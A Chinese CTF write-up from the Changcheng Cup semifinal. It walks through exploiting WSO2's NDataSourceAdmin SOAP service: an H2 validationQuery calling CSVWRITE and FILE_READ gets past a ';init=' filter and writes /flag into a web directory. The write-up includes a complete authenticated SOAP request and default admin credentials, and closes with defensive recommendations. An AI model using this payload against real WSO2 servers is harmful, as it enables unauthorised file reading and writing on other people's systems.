第三届长城杯半决赛-wso2:SOAP管理接口+H2文件读写绕过waf
字数 3721
更新时间 2026-04-02 14:29:00
WSO2 SOAP管理接口 + H2数据库文件读写绕过WAF漏洞分析与利用教学
1. 前言
本文档基于第三届长城杯半决赛的一道CTF题目(wso2)的实战分析与利用过程编写。该题目主要涉及对WSO2产品中SOAP管理接口的利用,并结合H2数据库的文件读写功能,绕过WAF(Web应用防火墙)等安全限制,最终实现任意文件读取(在本例中为读取Flag)。本文旨在详尽地还原漏洞环境、分析漏洞原理、追踪代码逻辑,并给出完整的利用步骤,形成一个完整的攻击链教学。
2. 环境搭建与初始访问
2.1 目标环境
目标是一个WSO2应用服务器。题目提示需要通过HTTPS进行访问。
2.2 访问与登录
- HTTPS访问:直接访问目标HTTP端口会提示需要HTTPS。使用HTTPS协议(
https://)访问目标后,可能会发生重定向到localhost的情况。这通常需要修改Hosts文件或使用代理工具处理。 - 管理登录入口:WSO2 Carbon管理控制台的默认登录入口为
/carbon/admin/login.jsp。访问此路径即可进入登录页面。 - 默认凭据获取:WSO2的默认管理员凭据通常配置在本地文件
repository/conf/deployment.toml中。根据文档内容,配置示例如下:
使用此用户名([super_admin] username = "admin" password = "abcd1234"admin)和密码(abcd1234)即可成功登录WSO2 Carbon管理控制台。
3. 漏洞点分析与背景知识
3.1 题目提示与漏洞方向
题目明确强调了 SOAP 和 H2 JDBC 这两个关键点。因此,漏洞的利用路径与WSO2中通过SOAP接口管理数据源,并利用H2数据库的特性进行攻击有关。
3.2 相关技术背景
- SOAP接口:WSO2 Carbon 提供了基于SOAP的WebService管理接口,用于远程配置和管理各项服务,包括数据源。
- H2数据库:一个用Java编写的嵌入式数据库,支持内存模式和文件模式。它提供了一个名为
CSVWRITE的函数,可以将查询结果写入CSV文件;同时,通过FILE_READ函数可以读取服务器上的任意文件。这为“数据库即后门”提供了可能。 - 已知漏洞:在WSO2的历史版本中,存在通过
NDataSourceAdminService服务测试数据源连接的功能,该功能在构造H2数据库连接时,如果未对validationQuery(验证查询)进行充分的过滤和限制,攻击者可以注入恶意的H2 SQL命令,从而实现文件读写或RCE。
4. 漏洞利用链深度分析
4.1 利用入口:NDataSourceAdminService SOAP接口
攻击的目标是 NDataSourceAdminService 这个SOAP服务。具体要调用的方法是 testDataSourceConnection,该方法用于测试一个数据源配置是否有效。
SOAP请求端点:/services/NDataSourceAdmin
4.2 代码逻辑与安全限制分析
通过分析相关Java代码(调用链如下),可以理解漏洞的触发点以及现有的安全限制:
- 入口:
org.wso2.carbon.ndatasource.core.services.NDataSourceAdminService#testDataSourceConnection - 调用链:
org.wso2.carbon.ndatasource.core.DataSourceRepository#testDataSourceConnection - 最终执行点(Sink):
org.wso2.carbon.ndatasource.rdbms.RDBMSDataSourceReader#testDataSourceConnection
在 RDBMSDataSourceReader#testDataSourceConnection 方法中,存在以下关键逻辑和过滤:
- URL过滤:代码检查连接URL (
rdbmsConfiguration.getUrl()) 中是否包含;init=字符串(不区分大小写)。如果包含,则直接抛出DataSourceException,阻止连接测试。这是为了防御通过H2的INIT参数执行初始化SQL的攻击。if (rdbmsConfiguration != null && rdbmsConfiguration.getUrl() != null && rdbmsConfiguration.getUrl().toLowerCase().contains(";init=")) { throw new DataSourceException("INIT expressions are not allowed in the connection URL due to security reasons."); } - 验证查询(validationQuery)长度限制:在WSO2的前端或相关配置检查中,对
validationQuery参数的长度进行了限制,导致过长的恶意payload无法直接提交。
4.3 攻击思路与绕过
尽管存在上述限制,但攻击依然可行,原因如下:
- 过滤不完整:代码仅过滤了URL中的
;init=,但没有过滤H2数据库的文件读写函数,如CSVWRITE和FILE_READ。 - 长度限制的应对:虽然
validationQuery字段长度受限,但一个精心构造的、用于文件读写的H2 SQL语句可以足够简短,以通过长度检查。 - 利用链设计:
- 目标:读取服务器上的Flag文件(
/flag)。 - 挑战:即使通过
FILE_READ读取了文件内容,也需要一个方式将内容输出到攻击者可访问的地方。 - 解决方案:利用
CSVWRITE函数。该函数可以将一个SQL查询的结果写入指定的CSV文件。我们可以将FILE_READ(‘/flag‘)的读取结果,通过CSVWRITE写入到WSO2的一个Web应用目录下(例如repository/deployment/server/webapps/下的某个应用),从而通过HTTP直接访问该文件获取内容。
- 目标:读取服务器上的Flag文件(
5. 完整漏洞利用步骤
5.1 构造恶意SOAP请求
以下是一个完整的、用于实现文件读取并写入Web目录的SOAP请求Payload:
POST /services/NDataSourceAdmin HTTP/1.1
Host: challenge.imxbt.cn:30659
Authorization: Basic YWRtaW46YWJjZDEyMzQ=
Content-Type: text/xml; charset=utf-8
SOAPAction: urn:testDataSourceConnection
Connection: close
<?xml version='1.0' encoding='utf-8'?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header/>
<soapenv:Body>
<xsd:testDataSourceConnection xmlns:xsd="http://org.apache.axis2/xsd">
<xsd:dsmInfo>
<ax:name xmlns:ax="http://services.core.ndatasource.carbon.wso2.org/xsd">verifyflag</ax:name>
<ax:description xmlns:ax="http://services.core.ndatasource.carbon.wso2.org/xsd">verifyflag</ax:description>
<ax:jndiConfig xmlns:ax="http://services.core.ndatasource.carbon.wso2.org/xsd">
<ax2:name xmlns:ax2="http://core.ndatasource.carbon.wso2.org/xsd">jdbc/verifyflag</ax2:name>
<ax2:useDataSourceFactory xmlns:ax2="http://core.ndatasource.carbon.wso2.org/xsd">false</ax2:useDataSourceFactory>
</ax:jndiConfig>
<ax:definition xmlns:ax="http://services.core.ndatasource.carbon.wso2.org/xsd">
<!-- 核心Payload部分 -->
<ax:dsXMLConfiguration><![CDATA[<configuration>
<url>jdbc:h2:mem:verifyflag;DB_CLOSE_DELAY=-1</url>
<username>sa</username>
<password></password>
<driverClassName>org.h2.Driver</driverClassName>
<validationQuery>CALL CSVWRITE('repository/deployment/server/webapps/publisher/flag123.txt', 'SELECT FILE_READ('/flag')')</validationQuery>
</configuration>]]></ax:dsXMLConfiguration>
<ax:type>RDBMS</ax:type>
</ax:definition>
<ax:system xmlns:ax="http://services.core.ndatasource.carbon.wso2.org/xsd">false</ax:system>
</xsd:dsmInfo>
</xsd:testDataSourceConnection>
</soapenv:Body>
</soapenv:Envelope>
Payload 关键点解析:
<ax:dsXMLConfiguration>: 此处内嵌了数据源的XML配置。为了避免XML解析冲突,原文档中使用了HTML实体编码(如<)。在实际攻击中,使用<![CDATA[ ... ]]>包裹或正确转义是更稳妥的做法。本例在解释时将其还原为清晰格式。<url>: 配置H2内存数据库连接。DB_CLOSE_DELAY=-1保证数据库在连接关闭后不会立即销毁。<validationQuery>: 这是注入恶意代码的关键字段。其值为:CALL CSVWRITE('repository/deployment/server/webapps/publisher/flag123.txt', 'SELECT FILE_READ('/flag')')FILE_READ('/flag'): 读取服务器根目录下的flag文件。CSVWRITE(‘path‘, ‘SELECT ...‘): 将SELECT查询的结果(即flag文件内容)写入到指定路径的CSV文件中。这里选择写入到publisher这个Web应用的目录下,该目录通常映射到URL/publisher/。
5.2 发送请求与执行
- 将上述SOAP请求发送至目标服务器的
/services/NDataSourceAdmin端点。 - 请求头中的
Authorization: Basic YWRtaW46YWJjZDEyMzQ=是管理员凭据admin:abcd1234的Base64编码,用于通过身份验证。 - 服务端在处理该请求时,会解析XML配置,并使用H2驱动尝试建立数据库连接。在连接测试阶段,会执行
validationQuery中定义的SQL语句。 CSVWRITE函数被执行,将Flag文件的内容写入到Web服务器的指定路径。
5.3 获取攻击结果
攻击执行成功后,即可通过HTTP直接访问写入的文件:
https://target-ip:port/publisher/flag123.txt
访问该URL,即可在返回的CSV文件内容中看到Flag。
6. 总结与防御建议
6.1 漏洞根源
- 功能滥用:
testDataSourceConnection本是一个管理功能,但未对输入进行严格限制,允许用户完全控制validationQuery。 - 黑名单过滤失效:仅过滤
;init=,但未能识别H2其他危险函数。 - 纵深防御缺失:允许将文件写入Web可访问目录,导致了信息泄露。
6.2 防御措施
- 输入校验:对数据源配置的所有字段,特别是
validationQuery,进行严格的白名单校验,只允许简单的、预定义的验证语句(如SELECT 1)。 - 最小权限:运行WSO2服务的系统用户应遵循最小权限原则,无法读取敏感文件(如
/flag)或写入Web目录。 - 禁用危险功能:在生产环境中,如果不需要H2数据库,应移除其驱动。如果必须使用,应审查并禁用其危险的内置函数。
- WAF/IDS规则:部署的WAF应能识别和拦截
CSVWRITE、FILE_READ等危险的SQL函数调用特征。 - 审计与监控:对管理接口(尤其是SOAP服务)的调用进行日志记录和异常行为监控。
参考链接:本漏洞思路与Lexfo的安全研究相关 (https://blog.lexfo.fr/wso2.html)。
相似文章
相似文章